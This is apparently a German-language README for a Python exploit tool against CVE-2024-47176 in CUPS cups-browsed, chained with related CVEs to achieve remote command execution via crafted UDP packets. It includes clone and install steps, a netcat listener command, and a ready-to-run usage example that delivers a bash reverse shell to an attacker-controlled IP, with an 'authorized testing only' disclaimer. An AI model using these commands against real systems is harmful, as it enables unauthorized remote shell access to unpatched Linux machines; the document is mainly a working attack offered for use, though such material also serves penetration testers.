
Python-Exploit für CVE-2024-47176, das Remote-Befehlsausführung in CUPS cups-browsed mittels präparierter UDP-Pakete erreicht. Enthält Reverse-Shell-Payload-Zustellung für autorisierte Penetrationstests.
Nur für Bildungszwecke und autorisierte Penetrationstests.
CUPS (Common UNIX Printing System) ist ein Open-Source-Drucksystem, das vernetzte Drucker verwaltet. CVE-2024-47176 zielt auf den cups-browsed-Daemon ab, der an INADDR_ANY:631 bindet und Paketen aus jeder Quelle blind vertraut.
Durch das Erstellen eines bösartigen UDP-Pakets, das eine Get-Printer-Attributes-IPP-Anforderung auslöst, kann ein Angreifer bewirken, dass cups-browsed eine Verbindung zu einem angreifergesteuerten Server herstellt – und in Kombination mit den untenstehenden Schwachstellen eine beliebige Remote-Befehlsausführung erreicht.
| Komponente | Bedingung |
|---|---|
cups-browsed | Hört auf UDP 631 (Standard) |
| CUPS < 2.4.11 | Nicht gepatchte Versionen |
| Linux-Systeme mit exponiertem CUPS | Port 631 vom Angreifer erreichbar |
nmap (optional, zur Aufklärung)1. Repository klonen:
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
2. Erforderliche Python-Abhängigkeit installieren:
pip install ippserver
3. Einen Listener auf Ihrem Rechner starten:
nc -lvnp <PORT>
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"
Beispiel – Reverse Shell:
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
Nach dem Ausführen des Exploits lösen Sie einen Druckauftrag auf dem Ziel aus (oder warten Sie auf eine automatische Überprüfung), um die Nutzlast auszuführen.
Dieses Repository ist ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung gedacht. Die Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist illegal und unethisch.
| CVE | Beschreibung |
|---|
| CVE-2024-47176 | cups-browsed vertraut jedem UDP-Paket auf Port 631 |
| CVE-2024-47076 | libcupsfilters bereinigt IPP-Attribute nicht |
| CVE-2024-47175 | libppd fügt nicht bereinigte Daten in PPD-Dateien ein |
| CVE-2024-47177 | cups-filters ermöglicht Befehlsausführung über PPD |